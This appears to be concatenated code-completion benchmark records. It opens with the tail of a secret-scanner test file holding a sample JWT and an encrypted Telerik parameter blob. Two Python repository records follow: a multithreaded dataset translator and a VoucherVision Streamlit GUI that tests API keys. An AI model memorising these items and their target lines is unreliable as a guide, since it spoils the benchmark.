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","Width":"770px","Height":"588px","Title":"Image Manager"} """ jwt_html = """ <html> <head> <title>Test</title> </head> <body> <p>Some text</p> <div class="JWT_IN_PAGE"> <p>eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo</p> </div> </body> </html> """ def test_carve_all_body(): # text-only results for sample in [aspnet_viewstate_sample, telerik_dialogparameters_sample, jwt_html]: print(type(sample))
r_list = carve_all_modules(body=sample)
1
2023-10-30 12:52:39+00:00
12k
vTuanpham/Large_dataset_translator
translator/data_parser.py
[ { "identifier": "Provider", "path": "providers/base_provider.py", "snippet": "class Provider(ABC):\r\n \"\"\"\r\n Base Provider that must be inherited by all Provider class, implement your own provider by inheriting this class\r\n \"\"\"\r\n @abstractmethod\r\n def __init__(self):\r\n ...
import math import re import json import os import random import string import sys import threading import warnings import traceback from copy import deepcopy from google.colab import files from httpcore._exceptions import ConnectTimeout from typing import List, Dict, Union from abc import abstractmethod from tqdm.auto import tqdm from concurrent.futures import ThreadPoolExecutor from providers import Provider, GoogleProvider, MultipleProviders from configs import BaseConfig, QAConfig, DialogsConfig from .utils import force_super_call, ForceBaseCallMeta, timeit, have_internet from .filters import have_code, have_re_code
7,513
en_data: List[str] = None, desc: str = None, translator: Provider = None, large_chunk: List[str] = None) -> Union[None, List[str]]: ''' This function support translation in multithread for large dataset (Does not maintain order for the final dataset) ''' assert self.converted_data is not None or en_data is not None or large_chunk is not None, \ "Please implement the convert function for DataParser " \ "and assign converted_data to self.converted_data" if not en_data and not large_chunk: converted_data = self.converted_data elif not en_data: converted_data = large_chunk else: converted_data = en_data translated_data = [] # Split large data into large chunks, recursive feed to the same function if len(converted_data) > self.large_chunks_threshold and large_chunk is None: num_large_chunks = len(converted_data) / self.large_chunks_threshold large_chunks = self.split_list(converted_data, max_sub_length=self.large_chunks_threshold) tqdm.write( f"Data is way too large, spliting data into {num_large_chunks} large chunk for sequential translation") for idx, large_chunk in enumerate(tqdm(large_chunks, desc=f"Translating large chunk ", colour="red")): tqdm.write(f"Processing large chunk No: {idx}") self.translate_converted(large_chunk=large_chunk) return None # Split large chunk into large example, recursive feed to the same function via multithread if len(converted_data) > self.max_example_per_thread and en_data is None: num_threads = len(converted_data) / self.max_example_per_thread chunks = self.split_list(converted_data, max_sub_length=self.max_example_per_thread) tqdm.write(f"Data too large, splitting data into {num_threads} chunk, each chunk is {len(chunks[0])}" f" Processing with multithread...") # Progress bar desc = "Translating total converted large chunk data" if large_chunk else "Translating total converted data" progress_bar = tqdm(total=math.ceil(num_threads), desc=desc, position=math.ceil(num_threads)+1) with ThreadPoolExecutor(max_workers=num_threads) as executor: futures = [] finished_task = 0 # https://stackoverflow.com/questions/22885775/what-is-the-difference-between-lock-and-rlock#22885810 lock = threading.RLock() def callback_done(future): nonlocal translated_data nonlocal finished_task nonlocal progress_bar nonlocal lock if not future.exception(): with lock: # This need to be += or .extend to shallow flatten the list structure translated_data += future.result() finished_task += 1 progress_bar.update(1) else: tqdm.write(f"Task failed with the following error: {future.exception()}." f" Restarting thread when others finished") pass for idx, chunk in enumerate(chunks): # Assign each thread with a new Translator instance future_chunk = executor.submit(self.translate_converted, en_data=chunk, desc=f"chunk {idx}", translator=self.get_translator) future_chunk.add_done_callback(callback_done) future_dict = {"future": future_chunk, "idx": idx} futures.append(future_dict) # Wait for all threads to complete while finished_task < len(futures): for future_dict in futures: # If exception occurs in one of the thread, restart the thread with its specific chunk if future_dict['future'].exception(): tqdm.write( f"Thread {future_dict['idx']} failed, restarting thread with chunk {future_dict['idx']}") backup_future_chunk = executor.submit(self.translate_converted, en_data=chunks[future_dict['idx']], desc=f"Backup chunk {future_dict['idx']}", translator=self.get_translator) backup_future_chunk.add_done_callback(callback_done) backup_future_dict = {"future": backup_future_chunk, "idx": future_dict['idx']} futures[future_dict['idx']] = backup_future_dict continue if large_chunk: if not self.converted_data_translated: self.converted_data_translated = translated_data else: self.converted_data_translated += translated_data return None self.converted_data_translated = translated_data return None progress_bar_desc = "Translating converted data" if not desc else f"Translating converted data {desc}" for example in tqdm(converted_data, desc=progress_bar_desc, colour="#add8e6"): translated_data_example = self.__translate_per_key(example, translator, progress_idx=int(re.findall(r'\d+', desc)[0]) if desc and re.findall(r'\d+', desc) else 0) translated_data.append(translated_data_example) if en_data: return translated_data if large_chunk: # Assuming that the previous large chunk process already create self.converted_data_translated # This cover the case where last large chunk only contain a single thread self.converted_data_translated += translated_data else: self.converted_data_translated = translated_data @abstractmethod
sys.path.insert(0, r'./') try: IN_COLAB = True except ImportError: IN_COLAB = False if not have_internet(timeout=5): raise ConnectTimeout("Please provide internet connection as this script require external api calls") class DataParser(metaclass=ForceBaseCallMeta): def __init__(self, file_path: str, output_dir: str, parser_name: str, target_fields: List[str], target_config: Union[BaseConfig, QAConfig, DialogsConfig], do_translate: bool = False, enable_sub_task_thread: bool = True, # Enable splitting a large list into sublist if a list of one example is too large to process # This argument go with max_list_length_per_thread no_translated_code: bool = False, max_example_per_thread: int = 400, # How many examples, each thread can contain large_chunks_threshold: int = 20000, # Maximum number of examples that will be distributed evenly across threads, any examples exceed this threshold will be process in queue max_list_length_per_thread: int = 3, # Maximum number of strings contain in a list in a single thread. # if larger, split the list into sub-list and process in parallel translator: Provider = GoogleProvider, source_lang: str = "en", target_lang: str = "vi", fail_translation_code: str="P1OP1_F" # Fail code for *expected* fail translation and can be removed # post-translation ) -> None: self.data_read = None self.converted_data = None self.file_path = file_path self.output_dir = output_dir assert os.path.isdir(self.output_dir), "Please provide the correct output directory" self.parser_name = parser_name assert target_config, "Please specified the target config (Choose from the configs dir)" self.target_config = target_config self.do_translate = do_translate if self.do_translate: self.fail_translation_code = fail_translation_code self.enable_sub_task_thread = enable_sub_task_thread self.source_lang = source_lang self.target_lang = target_lang assert target_fields, f"Please specified target fields to be translate from the {self.target_config} config" self.target_fields = target_fields assert set(self.target_fields).issubset(set(self.target_config.get_keys())), \ f"The target fields {self.target_fields} do not exist in the target config {self.target_config.get_keys()}" self.no_translated_code = no_translated_code assert max_example_per_thread < large_chunks_threshold, \ " Large chunks threshold can't be smaller than max_example per thread!" self.max_example_per_thread = max_example_per_thread self.large_chunks_threshold = large_chunks_threshold if self.enable_sub_task_thread: self.max_list_length_per_thread = max_list_length_per_thread self.converted_data_translated = None self.translator = translator @property def get_translator(self) -> Provider: return deepcopy(self.translator)() @staticmethod def id_generator(size=6, chars=string.ascii_uppercase + string.digits) -> str: return ''.join(random.choice(chars) for _ in range(size)) @staticmethod def split_list(input_list: List[str], max_sub_length: int) -> List[list]: return [input_list[x:x + max_sub_length] for x in range(0, len(input_list), max_sub_length)] def validate(self, keys: List[str]) -> bool: dict_fields = self.target_config.get_keys() for key in dict_fields: assert key in keys, f"\n Invalid parser, the key '{key}' is missing from {dict_fields}\n" \ f"you can adjust the fields {self.target_config.__name__} in the 'configs/*.py'" \ f" or fill in the missing field" return True @timeit def pre_translate_validate(self) -> None: validated_translate_data = [] # Note: This validates will override the original self.converted_data for idx, example in enumerate(tqdm(self.converted_data, desc="Validating data for translation:")): for key in self.target_fields: if self.no_translated_code: example_filters = 0 contain_code, score, found_elements = have_code(example[key]) if contain_code: example_filters += 1 if len(self.converted_data) - 2 == idx: tqdm.write(f"Number of example with code: {example_filters}") break elif key == self.target_fields[-1]: validated_translate_data.append(example) else: if key == self.target_fields[-1]: validated_translate_data.append(example) print(f"\nTotal data left after filtering for translation: {len(validated_translate_data)}\n") self.converted_data = validated_translate_data @timeit def post_translate_validate(self) -> None: post_validated_translate_data = [] # Note: This validates will override the original self.converted_data_translated for idx, example in enumerate(tqdm(self.converted_data_translated, desc="Validating data after translation:")): for key in self.target_fields: example_filters = 0 if have_re_code(example[key], code=self.fail_translation_code): example_filters += 1 if len(self.converted_data_translated) - 2 == idx: tqdm.write(f"Number of example with fail code: {example_filters}") break elif key == self.target_fields[-1]: post_validated_translate_data.append(example) print(f"\nTotal data left after filtering fail translation: {len(post_validated_translate_data)}\n") self.converted_data_translated = post_validated_translate_data def __translate_per_key(self, example: Dict, translator: Provider = None, progress_idx: int = 0) -> Dict: ''' This function loop through each key of one example and send to __translate_texts if the value of the key is under a certain threshold. If exceeded, then send to __sublist_multithread_translate ''' assert self.do_translate, "Please enable translate via self.do_translate" keys = self.target_config.get_keys() for key in keys: if key in self.target_fields: type = "str" if isinstance(example[key], str) else "list" if example[key] == "": continue if type == "list": for data in example[key]: if len(data) > 15000: warnings.warn("Example" + example["qas_id"] + " have field len larger than 15000") example[key].append(data[:15000]) else: if len(example[key]) > 15000: warnings.warn("Example" + example["qas_id"] + " have field len larger than 15000") example[key] = example[key][:15000] if self.enable_sub_task_thread: average_length_sub_task_criteria = False if type == "list" and len(example[key]) > 2: average_length = sum(len(lst) for lst in example[key]) / len(example[key]) if average_length > 1600: average_length_sub_task_criteria = True if type == "list" and average_length_sub_task_criteria and len(example[key]) >= self.max_list_length_per_thread: # tqdm.write(f"\nSplitting {key} field which contain {len(example[key])} items on chunk {progress_idx}\n") del translator example[key] = self.__sublist_multithread_translate(example[key], progress_idx, key) else: example[key] = self.__translate_texts(src_texts=example[key], translator=translator) else: example[key] = self.__translate_texts(src_texts=example[key], translator=translator) return example def __sublist_multithread_translate(self, list_str: List[str], progress_idx: int = 0, field_name: str=None # The field name (key name) of one example that exceed a certain threshold and needed to be split and translate in parallel ) -> List[str]: ''' This function split a large list into sub-list and translate it in parallel, orders are maintained when merge all sub-lists, this is useful when order are necessary (e.g Dialogs example) ''' translated_list_data = [] num_threads = len(list_str) / self.max_list_length_per_thread sub_str_lists = self.split_list(list_str, max_sub_length=self.max_list_length_per_thread) with ThreadPoolExecutor(max_workers=num_threads) as executor: futures = [] finished_task = 0 lock = threading.RLock() def callback_sub_list_done(future): nonlocal translated_list_data nonlocal finished_task nonlocal lock if not future.exception(): with lock: # This need to be .append to keep the list structure # Since this deal with sub-list and needed to be merged later translated_list_data.append(future.result()) finished_task += 1 else: tqdm.write(f"Sub task of chunk {progress_idx} with field {field_name} failed with the following error: {future.exception()}." f"Restarting thread when others finished...") pass for idx, list_chunk in enumerate(sub_str_lists): # Assign each thread with a new Translator instance future_chunk = executor.submit(self.__translate_texts, src_texts=list_chunk, translator=self.get_translator, sub_list_idx=idx) future_chunk.add_done_callback(callback_sub_list_done) future_dict = { "future": future_chunk, "idx": idx } futures.append(future_dict) # Wait for all threads to complete while finished_task < len(futures): for future_dict in futures: # If exception occurs in one of the thread, restart the thread with its specific chunk if future_dict['future'].exception(): tqdm.write( f"Thread {future_dict['idx']} failed, restarting thread with chunk {future_dict['idx']}") backup_future_chunk = executor.submit(self.__translate_texts, src_texts=sub_str_lists[future_dict['idx']], translator=self.get_translator, sub_list_idx=future_dict['idx']) backup_future_chunk.add_done_callback(callback_sub_list_done) backup_future_dict = {"future": backup_future_chunk, "idx": future_dict['idx']} futures[future_dict['idx']] = backup_future_dict continue # Sorting the list of dictionaries based on the 'key' value translated_list_data = sorted(translated_list_data, key=lambda x: x['key']) # Extracting values after sorting translated_list_data = [item['text_list'] for item in translated_list_data] def flatten_list(nested_list): ''' Turn a list from [[], [], []] -> [] ''' flattened_list = [] for item in nested_list: if isinstance(item, list): flattened_list.extend(flatten_list(item)) else: flattened_list.append(item) return flattened_list translated_list_data = flatten_list(translated_list_data) return translated_list_data def __translate_texts(self, src_texts: Union[List[str], str], translator: Provider = None, sub_list_idx: int=None, # sub_list_idx is for pass through of index information and can be merge later by __sublist_multithread_translate ) -> Union[List[str], str, Dict[List[str], int]]: ''' Actual place where translation take place ''' assert self.do_translate, "Please enable translate via self.do_translate" # This if is for multithread Translator instance translator_instance = deepcopy(self.translator)() if not translator else translator target_texts = translator_instance.translate(src_texts, src=self.source_lang, dest=self.target_lang, fail_translation_code=self.fail_translation_code) return {'text_list': target_texts, 'key': sub_list_idx} if sub_list_idx is not None else target_texts def translate_converted(self, en_data: List[str] = None, desc: str = None, translator: Provider = None, large_chunk: List[str] = None) -> Union[None, List[str]]: ''' This function support translation in multithread for large dataset (Does not maintain order for the final dataset) ''' assert self.converted_data is not None or en_data is not None or large_chunk is not None, \ "Please implement the convert function for DataParser " \ "and assign converted_data to self.converted_data" if not en_data and not large_chunk: converted_data = self.converted_data elif not en_data: converted_data = large_chunk else: converted_data = en_data translated_data = [] # Split large data into large chunks, recursive feed to the same function if len(converted_data) > self.large_chunks_threshold and large_chunk is None: num_large_chunks = len(converted_data) / self.large_chunks_threshold large_chunks = self.split_list(converted_data, max_sub_length=self.large_chunks_threshold) tqdm.write( f"Data is way too large, spliting data into {num_large_chunks} large chunk for sequential translation") for idx, large_chunk in enumerate(tqdm(large_chunks, desc=f"Translating large chunk ", colour="red")): tqdm.write(f"Processing large chunk No: {idx}") self.translate_converted(large_chunk=large_chunk) return None # Split large chunk into large example, recursive feed to the same function via multithread if len(converted_data) > self.max_example_per_thread and en_data is None: num_threads = len(converted_data) / self.max_example_per_thread chunks = self.split_list(converted_data, max_sub_length=self.max_example_per_thread) tqdm.write(f"Data too large, splitting data into {num_threads} chunk, each chunk is {len(chunks[0])}" f" Processing with multithread...") # Progress bar desc = "Translating total converted large chunk data" if large_chunk else "Translating total converted data" progress_bar = tqdm(total=math.ceil(num_threads), desc=desc, position=math.ceil(num_threads)+1) with ThreadPoolExecutor(max_workers=num_threads) as executor: futures = [] finished_task = 0 # https://stackoverflow.com/questions/22885775/what-is-the-difference-between-lock-and-rlock#22885810 lock = threading.RLock() def callback_done(future): nonlocal translated_data nonlocal finished_task nonlocal progress_bar nonlocal lock if not future.exception(): with lock: # This need to be += or .extend to shallow flatten the list structure translated_data += future.result() finished_task += 1 progress_bar.update(1) else: tqdm.write(f"Task failed with the following error: {future.exception()}." f" Restarting thread when others finished") pass for idx, chunk in enumerate(chunks): # Assign each thread with a new Translator instance future_chunk = executor.submit(self.translate_converted, en_data=chunk, desc=f"chunk {idx}", translator=self.get_translator) future_chunk.add_done_callback(callback_done) future_dict = {"future": future_chunk, "idx": idx} futures.append(future_dict) # Wait for all threads to complete while finished_task < len(futures): for future_dict in futures: # If exception occurs in one of the thread, restart the thread with its specific chunk if future_dict['future'].exception(): tqdm.write( f"Thread {future_dict['idx']} failed, restarting thread with chunk {future_dict['idx']}") backup_future_chunk = executor.submit(self.translate_converted, en_data=chunks[future_dict['idx']], desc=f"Backup chunk {future_dict['idx']}", translator=self.get_translator) backup_future_chunk.add_done_callback(callback_done) backup_future_dict = {"future": backup_future_chunk, "idx": future_dict['idx']} futures[future_dict['idx']] = backup_future_dict continue if large_chunk: if not self.converted_data_translated: self.converted_data_translated = translated_data else: self.converted_data_translated += translated_data return None self.converted_data_translated = translated_data return None progress_bar_desc = "Translating converted data" if not desc else f"Translating converted data {desc}" for example in tqdm(converted_data, desc=progress_bar_desc, colour="#add8e6"): translated_data_example = self.__translate_per_key(example, translator, progress_idx=int(re.findall(r'\d+', desc)[0]) if desc and re.findall(r'\d+', desc) else 0) translated_data.append(translated_data_example) if en_data: return translated_data if large_chunk: # Assuming that the previous large chunk process already create self.converted_data_translated # This cover the case where last large chunk only contain a single thread self.converted_data_translated += translated_data else: self.converted_data_translated = translated_data @abstractmethod
@force_super_call
6
2023-10-27 08:55:44+00:00
12k
Gene-Weaver/VoucherVision
vouchervision/VoucherVision_GUI.py
[ { "identifier": "write_config_file", "path": "vouchervision/LeafMachine2_Config_Builder.py", "snippet": "def write_config_file(config_data, dir_home, filename=\"LeafMachine2.yaml\"):\n file_path = os.path.join(dir_home, filename)\n\n # Write the data to a YAML file\n with open(file_path, \"w\")...
import streamlit as st import yaml, os, json, random, time, re import matplotlib.pyplot as plt import plotly.graph_objs as go import numpy as np import pandas as pd from itertools import chain from PIL import Image from typing import Union from streamlit_extras.let_it_rain import rain from vouchervision.LeafMachine2_Config_Builder import write_config_file from vouchervision.VoucherVision_Config_Builder import build_VV_config, run_demo_tests_GPT, run_demo_tests_Palm , TestOptionsGPT, TestOptionsPalm, check_if_usable, run_api_tests from vouchervision.vouchervision_main import voucher_vision, voucher_vision_OCR_test from vouchervision.general_utils import test_GPU, get_cfg_from_full_path, summarize_expense_report, create_google_ocr_yaml_config, validate_dir
10,432
st.write("---") st.subheader("Google PaLM 2") st.markdown('Follow these [instructions](https://developers.generativeai.google/tutorials/setup) to generate an API key for PaLM 2. You may need to also activate an account with [MakerSuite](https://makersuite.google.com/app/apikey) and enable "early access."') with st.container(): c_in_palm, c_button_palm = st.columns([10,2]) with c_in_palm: google_palm = st.text_input("Google PaLM 2 API Key", cfg_private['google_palm'].get('google_palm_api', ''), help='The MakerSuite API key e.g. a 32-character string', placeholder='e.g. SATgthsykuE64FgrrrrEervr3S4455t_geyDeGq', type='password') with st.container(): with c_button_ocr: st.write("##") st.button("Test OCR", on_click=test_API, args=['google_vision',c_in_ocr, cfg_private,openai_api_key,azure_openai_api_version,azure_openai_api_key, azure_openai_api_base,azure_openai_organization,azure_openai_api_type,google_vision,google_palm]) with st.container(): with c_button_openai: st.write("##") st.button("Test OpenAI", on_click=test_API, args=['openai',c_in_openai, cfg_private,openai_api_key,azure_openai_api_version,azure_openai_api_key, azure_openai_api_base,azure_openai_organization,azure_openai_api_type,google_vision,google_palm]) with st.container(): with c_button_azure: st.write("##") st.button("Test Azure OpenAI", on_click=test_API, args=['azure_openai',c_in_azure, cfg_private,openai_api_key,azure_openai_api_version,azure_openai_api_key, azure_openai_api_base,azure_openai_organization,azure_openai_api_type,google_vision,google_palm]) with st.container(): with c_button_palm: st.write("##") st.button("Test PaLM 2", on_click=test_API, args=['palm',c_in_palm, cfg_private,openai_api_key,azure_openai_api_version,azure_openai_api_key, azure_openai_api_base,azure_openai_organization,azure_openai_api_type,google_vision,google_palm]) st.button("Set API Keys",type='primary', on_click=save_changes_to_API_keys, args=[cfg_private,openai_api_key,azure_openai_api_version,azure_openai_api_key, azure_openai_api_base,azure_openai_organization,azure_openai_api_type,google_vision,google_palm]) if st.button('Proceed to VoucherVision'): st.session_state.proceed_to_private = False st.session_state.proceed_to_main = True def test_API(api, message_loc, cfg_private,openai_api_key,azure_openai_api_version,azure_openai_api_key, azure_openai_api_base,azure_openai_organization,azure_openai_api_type,google_vision,google_palm): # Save the API keys save_changes_to_API_keys(cfg_private,openai_api_key,azure_openai_api_version,azure_openai_api_key,azure_openai_api_base,azure_openai_organization,azure_openai_api_type,google_vision,google_palm) with st.spinner('Performing validation checks...'): if api == 'google_vision': print("*** Google Vision OCR API Key ***") try: demo_config_path = os.path.join(st.session_state.dir_home,'demo','validation_configs','google_vision_ocr_test.yaml') demo_images_path = os.path.join(st.session_state.dir_home, 'demo', 'demo_images') demo_out_path = os.path.join(st.session_state.dir_home, 'demo', 'demo_output','run_name') create_google_ocr_yaml_config(demo_config_path, demo_images_path, demo_out_path) voucher_vision_OCR_test(demo_config_path, st.session_state.dir_home, None, demo_images_path) with message_loc: st.success("Google Vision OCR API Key Valid :white_check_mark:") return True except Exception as e: with message_loc: st.error(f"Google Vision OCR API Key Failed! {e}") return False elif api == 'openai': print("*** OpenAI API Key ***") try: if run_api_tests('openai'): with message_loc: st.success("OpenAI API Key Valid :white_check_mark:") else: with message_loc: st.error("OpenAI API Key Failed:exclamation:") return False except Exception as e: with message_loc: st.error(f"OpenAI API Key Failed:exclamation: {e}") elif api == 'azure_openai': print("*** Azure OpenAI API Key ***") try: if run_api_tests('azure_openai'): with message_loc: st.success("Azure OpenAI API Key Valid :white_check_mark:") else: with message_loc: st.error(f"Azure OpenAI API Key Failed:exclamation:") return False except Exception as e: with message_loc: st.error(f"Azure OpenAI API Key Failed:exclamation: {e}") elif api == 'palm': print("*** Google PaLM 2 API Key ***") try: if run_api_tests('palm'): with message_loc: st.success("Google PaLM 2 API Key Valid :white_check_mark:") else: with message_loc: st.error("Google PaLM 2 API Key Failed:exclamation:") return False except Exception as e: with message_loc: st.error(f"Google PaLM 2 API Key Failed:exclamation: {e}") def save_changes_to_API_keys(cfg_private,openai_api_key,azure_openai_api_version,azure_openai_api_key, azure_openai_api_base,azure_openai_organization,azure_openai_api_type,google_vision,google_palm): # Update the configuration dictionary with the new values cfg_private['openai']['OPENAI_API_KEY'] = openai_api_key cfg_private['openai_azure']['api_version'] = azure_openai_api_version cfg_private['openai_azure']['openai_api_key'] = azure_openai_api_key cfg_private['openai_azure']['openai_api_base'] = azure_openai_api_base cfg_private['openai_azure']['openai_organization'] = azure_openai_organization cfg_private['openai_azure']['openai_api_type'] = azure_openai_api_type cfg_private['google_cloud']['path_json_file'] = google_vision cfg_private['google_palm']['google_palm_api'] = google_palm # Call the function to write the updated configuration to the YAML file
PROMPTS_THAT_NEED_DOMAIN_KNOWLEDGE = ["Version 1","Version 1 PaLM 2"] COLORS_EXPENSE_REPORT = { 'GPT_4': '#8fff66', # Bright Green 'GPT_3_5': '#006400', # Dark Green 'PALM2': '#66a8ff' # blue } class ProgressReport: def __init__(self, overall_bar, batch_bar, text_overall, text_batch): self.overall_bar = overall_bar self.batch_bar = batch_bar self.text_overall = text_overall self.text_batch = text_batch self.current_overall_step = 0 self.total_overall_steps = 20 # number of major steps in machine function self.current_batch = 0 self.total_batches = 20 def update_overall(self, step_name=""): self.current_overall_step += 1 self.overall_bar.progress(self.current_overall_step / self.total_overall_steps) self.text_overall.text(step_name) def update_batch(self, step_name=""): self.current_batch += 1 self.batch_bar.progress(self.current_batch / self.total_batches) self.text_batch.text(step_name) def set_n_batches(self, n_batches): self.total_batches = n_batches def set_n_overall(self, total_overall_steps): self.current_overall_step = 0 self.overall_bar.progress(0) self.total_overall_steps = total_overall_steps def reset_batch(self, step_name): self.current_batch = 0 self.batch_bar.progress(0) self.text_batch.text(step_name) def reset_overall(self, step_name): self.current_overall_step = 0 self.overall_bar.progress(0) self.text_overall.text(step_name) def get_n_images(self): return self.n_images def get_n_overall(self): return self.total_overall_steps def does_private_file_exist(): dir_home = os.path.dirname(os.path.dirname(__file__)) path_cfg_private = os.path.join(dir_home, 'PRIVATE_DATA.yaml') return os.path.exists(path_cfg_private) def setup_streamlit_config(dir_home): # Define the directory path and filename dir_path = os.path.join(dir_home, ".streamlit") file_path = os.path.join(dir_path, "config.toml") # Check if directory exists, if not create it if not os.path.exists(dir_path): os.makedirs(dir_path) # Create or modify the file with the provided content config_content = f""" [theme] base = "dark" primaryColor = "#00ff00" [server] enableStaticServing = false runOnSave = true port = 8524 """ with open(file_path, "w") as f: f.write(config_content.strip()) def display_scrollable_results(JSON_results, test_results, OPT2, OPT3): """ Display the results from JSON_results in a scrollable container. """ # Initialize the container con_results = st.empty() with con_results.container(): # Start the custom container for all the results results_html = """<div class='scrollable-results-container'>""" for idx, (test_name, _) in enumerate(sorted(test_results.items())): _, ind_opt1, ind_opt2, ind_opt3 = test_name.split('__') opt2_readable = "Use LeafMachine2" if OPT2[int(ind_opt2.split('-')[1])] else "Don't use LeafMachine2" opt3_readable = f"{OPT3[int(ind_opt3.split('-')[1])]}" if JSON_results[idx] is None: results_html += f"<p>None</p>" else: formatted_json = json.dumps(JSON_results[idx], indent=4, sort_keys=False) results_html += f"<pre>[{opt2_readable}] + [{opt3_readable}]<br/>{formatted_json}</pre>" # End the custom container results_html += """</div>""" # The CSS to make this container scrollable css = """ <style> .scrollable-results-container { overflow-y: auto; height: 600px; width: 100%; white-space: pre-wrap; # To wrap the content font-family: monospace; # To give the JSON a code-like appearance } </style> """ # Apply the CSS and then the results st.markdown(css, unsafe_allow_html=True) st.markdown(results_html, unsafe_allow_html=True) def refresh(): st.write('') def display_test_results(test_results, JSON_results, llm_version): if llm_version == 'gpt': OPT1, OPT2, OPT3 = TestOptionsGPT.get_options() elif llm_version == 'palm': OPT1, OPT2, OPT3 = TestOptionsPalm.get_options() else: raise widths = [1] * (len(OPT1) + 2) + [2] columns = st.columns(widths) with columns[0]: st.write("LeafMachine2") with columns[1]: st.write("Prompt") with columns[len(OPT1) + 2]: st.write("Scroll to See Last Transcription in Each Test") already_written = set() for test_name, result in sorted(test_results.items()): _, ind_opt1, _, _ = test_name.split('__') option_value = OPT1[int(ind_opt1.split('-')[1])] if option_value not in already_written: with columns[int(ind_opt1.split('-')[1]) + 2]: st.write(option_value) already_written.add(option_value) printed_options = set() with columns[-1]: display_scrollable_results(JSON_results, test_results, OPT2, OPT3) # Close the custom container st.write('</div>', unsafe_allow_html=True) for idx, (test_name, result) in enumerate(sorted(test_results.items())): _, ind_opt1, ind_opt2, ind_opt3 = test_name.split('__') opt2_readable = "Use LeafMachine2" if OPT2[int(ind_opt2.split('-')[1])] else "Don't use LeafMachine2" opt3_readable = f"{OPT3[int(ind_opt3.split('-')[1])]}" if (opt2_readable, opt3_readable) not in printed_options: with columns[0]: st.info(f"{opt2_readable}") st.write('---') with columns[1]: 